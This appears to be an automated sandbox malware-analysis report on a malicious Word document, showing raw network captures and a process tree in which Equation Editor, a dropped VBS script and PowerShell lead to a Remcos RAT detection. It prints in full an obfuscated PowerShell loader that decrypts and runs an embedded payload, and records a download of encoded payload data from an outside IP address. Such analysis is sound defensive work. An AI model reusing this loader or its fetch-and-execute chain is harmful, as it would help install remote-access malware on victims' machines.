Jul 26, 2024 15:25:03.702474117 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 26, 2024 15:25:03.702486038 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 26, 2024 15:25:03.702979088 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 26, 2024 15:25:03.702991962 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 26, 2024 15:25:03.703002930 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 26, 2024 15:25:03.703671932 CEST	1236	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 26, 2024 15:25:03.703685045 CEST	1236	IN	Data Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
Jul 26, 2024 15:25:03.703696012 CEST	1236	IN	Data Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v
Jul 26, 2024 15:25:03.704555035 CEST	1236	IN	Data Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 Data Ascii: gmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,qtUx+,NG*)UeUe
Jul 26, 2024 15:25:03.708878040 CEST	1236	IN	Data Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	192.3.176.174	80	3208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 15:25:06.009516001 CEST	74	OUT	GET /60/WDER.txt HTTP/1.1 Host: 192.3.176.174 Connection: Keep-Alive
Jul 26, 2024 15:25:06.499309063 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 13:25:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 02:37:01 GMT ETag: "a1000-61e1d62d98767" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 26, 2024 15:25:06.499325991 CEST	224	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1
Jul 26, 2024 15:25:06.499349117 CEST	1236	IN	Data Raw: 41 55 4e 38 55 44 4f 31 67 53 4e 6b 55 44 46 30 77 50 4e 30 54 44 38 30 77 4f 4e 6f 54 44 32 30 51 4e 4e 45 54 44 72 30 51 4b 4e 67 53 44 6e 30 77 49 4e 49 53 44 65 30 41 47 4e 59 52 44 56 30 51 45 4e 41 52 44 4d 30 67 42 4e 51 51 44 44 7a 77 2f Data Ascii: AUN8UDO1gSNkUDF0wPN0TD80wONoTD20QNNETDr0QKNgSDn0wINISDe0AGNYRDV0QENARDM0gBNQQDDzw/M4PD4zw9MYPD1zA8M4ODtAAQAgBgBQDQOYkDFAAAAMAgBADAAA0D4AAAAMAgBwCAOgjD24QIOAiDf4gEOogDB3w+NofD23A8NIeDe3w1NYdDO3QzNwcDLAAAAwAgBQCgNwYDL1AbNsWDq1QaNgWDn1gZNMWDi1QYN
Jul 26, 2024 15:25:06.499361038 CEST	1236	IN	Data Raw: 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 2f 34 51 50 4f 73 6a 44 35 34 77 4e 4f 55 6a 44 7a 34 51 4d 4f 38 69 44 Data Ascii: mDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4NEeDf3Q3NsdDZ3w1NUdDT3Q0N8cDN3wyNkcDH3QxNMcDB2wvN0bD72QuNcbD1
Jul 26, 2024 15:25:06.499372005 CEST	1236	IN	Data Raw: 77 6d 4f 6f 70 44 5a 36 41 6d 4f 63 70 44 57 36 51 6c 4f 51 70 44 54 36 67 6b 4f 45 70 44 51 36 77 6a 4f 34 6f 44 4e 36 41 6a 4f 73 6f 44 4b 36 51 69 4f 67 6f 44 48 36 67 68 4f 55 6f 44 45 36 77 67 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 Data Ascii: wmOopDZ6AmOcpDW6QlOQpDT6gkOEpDQ6wjO4oDN6AjOsoDK6QiOgoDH6ghOUoDE6wgOIoDB6AQO8nD+5QfOwnD75geOknD45wdOYnD15AdOMnDy5QcOAnDv5gbO0mDs5waOomDp5AaOcmDm5QZOQmDj5gYOEmDg5wXO4lDd5AXOslDa5QWOglDT5gUOElDQ4QFOQhDT4gEAAAA4AUAwAAAA1AcN4WDs1gaNgWDm1AZNIWDg1gXN
Jul 26, 2024 15:25:06.499442101 CEST	1236	IN	Data Raw: 6e 44 37 35 51 65 4f 63 6e 44 31 35 77 63 4f 45 6e 44 76 35 51 62 4f 73 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 Data Ascii: nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4MwODrzg6MkODozw5MYODlzA5MMODizQ4MAODf
Jul 26, 2024 15:25:06.499453068 CEST	1236	IN	Data Raw: 41 6a 50 70 37 54 79 2b 30 72 50 78 36 54 6e 2b 45 70 50 76 34 7a 4a 2b 6b 67 50 42 30 54 2b 39 45 66 50 70 33 6a 6d 39 34 33 4f 78 76 7a 35 37 30 37 4f 77 75 6a 54 37 30 7a 4f 33 73 6a 4d 37 77 79 4f 4f 73 54 42 36 77 76 4f 6e 72 7a 59 36 6f 6b Data Ascii: AjPp7Ty+0rPx6Tn+EpPv4zJ+kgPB0T+9EfPp3jm943Oxvz5707OwujT70zO3sjM7wyOOsTB6wvOnrzY6okOCkD85MeOYnDt5QYO3lTX4IPOyezv38jNjZjHzA2MaFjOwEPMNDjuw4KMiCjlwEFM5AjDAAAAICQBgBwPv/D3/A9PE/zn/Q3Py8TK/MyPY8TD+MvPN7zs+EoPZ5TK+ERPu2jk9cTPs0jD9QAPxzj56QtOFhDy20nN
Jul 26, 2024 15:25:06.499464989 CEST	1236	IN	Data Raw: 71 44 6b 36 63 6f 4f 78 70 7a 57 36 41 69 4f 56 6f 44 44 35 73 64 4f 54 6e 6a 52 35 55 54 4f 6c 6b 54 48 35 77 41 4f 38 66 7a 2b 33 59 36 4e 57 65 54 65 33 55 67 4e 51 56 54 36 31 45 57 4e 55 55 54 43 30 55 50 4e 59 54 54 6f 30 38 46 4e 75 4d 6a Data Ascii: qDk6coOxpzW6AiOVoDD5sdOTnjR5UTOlkTH5wAO8fz+3Y6NWeTe3UgNQVT61EWNUUTC0UPNYTTo08FNuMjMzMyMXMzByouMiLDuyEmMVJTSyUjMpEzxx8bMhGTmxEZMJGTPw4NMWCjewwDMyADEAAAA4CABQDAAA8D//89Pw+Tm/o2PV9TB+EePY3Dt9oAPAzzo8AHPYtzz7c7OruTd7I2OksTF6YtOxpzF6wQO/nD354bOBgDu
Jul 26, 2024 15:25:06.499674082 CEST	1236	IN	Data Raw: 73 30 4d 70 4d 7a 48 7a 49 78 4d 4a 49 7a 37 79 34 74 4d 70 4b 44 6f 79 38 6f 4d 44 4b 44 61 79 63 6c 4d 69 49 7a 47 78 34 65 4d 6e 48 6a 4c 77 49 4c 4d 65 43 41 41 42 51 4a 41 45 41 49 41 2f 49 36 50 58 39 7a 4a 2b 59 76 50 6d 79 7a 38 37 73 4d Data Ascii: s0MpMzHzIxMJIz7y4tMpKDoy8oMDKDayclMiIzGx4eMnHjLwILMeCAABQJAEAIA/I6PX9zJ+YvPmyz87sMOJcTp1oHNzQzL0sCNnQzI08BNbQzFyEmMEET1xoGM3ATBAAAA4AABwBAAA4ze+AXPO2DZ9oTPNwz+8c4OLvzc7k0OjoT/6g7Nsejm3QZMkHj3xsWMlFzBwgNMODDxAAAA8AABgBAAA4zX98FPYyjf8sGPRxjP8QyO
Jul 26, 2024 15:25:06.499686003 CEST	1236	IN	Data Raw: 50 44 36 7a 51 2b 4d 67 50 7a 56 79 41 75 4d 63 4c 44 32 79 51 74 4d 51 4c 44 7a 79 67 73 4d 45 4c 7a 4c 78 67 62 4d 30 47 44 73 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 7a 45 41 41 41 41 6b 42 77 41 51 44 77 50 2f 39 54 62 2f 73 30 50 32 38 6a Data Ascii: PD6zQ+MgPzVyAuMcLD2yQtMQLDzygsMELzLxgbM0GDsxwaMoGDpxAaMcGzEAAAAkBwAQDwP/9Tb/s0P28jF/QQPn3jK2gHN8PDgyYtMFKDfygmMMITAxMfMlHD2xIcMtGjixMXMeFjTxAUM0EDKxoRMLAT8AAAAIBwAADwPV7zW9sdPG1zP8ANPFzDq8gHPmxzM8YCPcsjLAAAAkAwAwCAAAkjM5gCOejD14EKOUej5349NVfDm
Jul 26, 2024 15:25:06.504323959 CEST	1236	IN	Data Raw: 63 44 50 77 77 6a 4b 38 51 43 50 54 73 6a 39 37 45 2b 4f 62 76 7a 30 37 34 37 4f 78 75 54 70 37 63 35 4f 79 6c 44 41 34 6b 50 4f 74 6a 54 31 34 30 46 4f 52 64 44 72 33 59 36 4e 4e 64 6a 51 32 51 76 4e 6c 62 7a 33 32 63 74 4e 37 5a 7a 55 31 34 63 Data Ascii: cDPwwjK8QCPTsj97E+Obvz0747OxuTp7c5OylDA4kPOtjT140FORdDr3Y6NNdjQ2QvNlbz32ctN7ZzU14cNhWDn1cYNyVjV1AUN4UzL14BN/RDY0sEN+QjL0kxMGPDuz84M8NzYzg0M4MDMzchMtLT3yUtM9KTny0nMhJjQyciMKEz6x4cMJHjtxwaMiGDnxcZMMGDhxwXM0FTbxYWMfFDWxEVMKFzQx0TM3ETMxsSMlAj8wkOM

Target ID:	0
Start time:	09:24:54
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13ff90000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	2
Start time:	09:24:56
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	09:24:58
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"
Imagebase:	0xd30000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	09:24:59
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0x190000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	09:25:06
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x1280000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	09:25:18
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false